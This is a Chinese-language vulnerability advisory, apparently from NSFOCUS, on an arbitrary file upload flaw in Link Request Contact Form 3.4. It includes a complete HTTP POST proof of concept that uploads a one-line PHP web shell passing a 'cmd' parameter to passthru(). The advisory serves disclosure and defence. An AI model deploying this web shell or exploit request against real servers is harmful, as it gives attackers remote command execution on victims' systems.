安全研究

安全漏洞
Link Request Contact Form任意文件上传漏洞

发布日期:2007-06-11
更新日期:2007-06-12

受影响系统:
American Financing Link Request Contact Form 3.4
描述:
BUGTRAQ  ID: 24408

Link Request Contact Form允许用户请求向其他站点添加自己站点的链接横幅。

Link Request Contact Form在处理文件上传时存在漏洞,远程攻击者可能利用此漏洞上传恶意脚本执行代码。

Link Request Contact Form的output.php脚本没有验证所上传文件的扩展名,因此攻击者可以上传有.php扩展名的文件然后在服务器上执行任意PHP代码。成功攻击要求在HTTP头中传送允许的MIME媒体类型。

<*来源:CorryL (corryl80@gmail.com
  
  链接:http://secunia.com/advisories/25614/
        http://corryl.altervista.org/index.php?mod=read&id=1181469701
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

POST http://server-victim:80/output.php HTTP/1.1
Host: www.server-victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/prova/link-request-contact-form.html
Cookie: PHPSESSID=0654c063218badc1ad8b5a04edf9198d
Content-Type: multipart/form-data; boundary=---------------------------190291279311134
Content-length: 1115

-----------------------------190291279311134
Content-Disposition: form-data; name="Full_Name"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="email"

aa@aa.aa
-----------------------------190291279311134
Content-Disposition: form-data; name="Link_Back"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Title"

aa
-----------------------------190291279311134
Content-Disposition: form-data; name="You_Web_Address"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Description"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/jpeg

<?php ob_clean();echo"Remote command esecution by CorryL http://corryl.altervista.org";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>
-----------------------------190291279311134
Content-Disposition: form-data; name="Submit"

Submit
-----------------------------190291279311134--

建议:
厂商补丁:

American Financing
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.americanfinancing.net/link-request-contact-form.cfm

浏览次数:3744
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障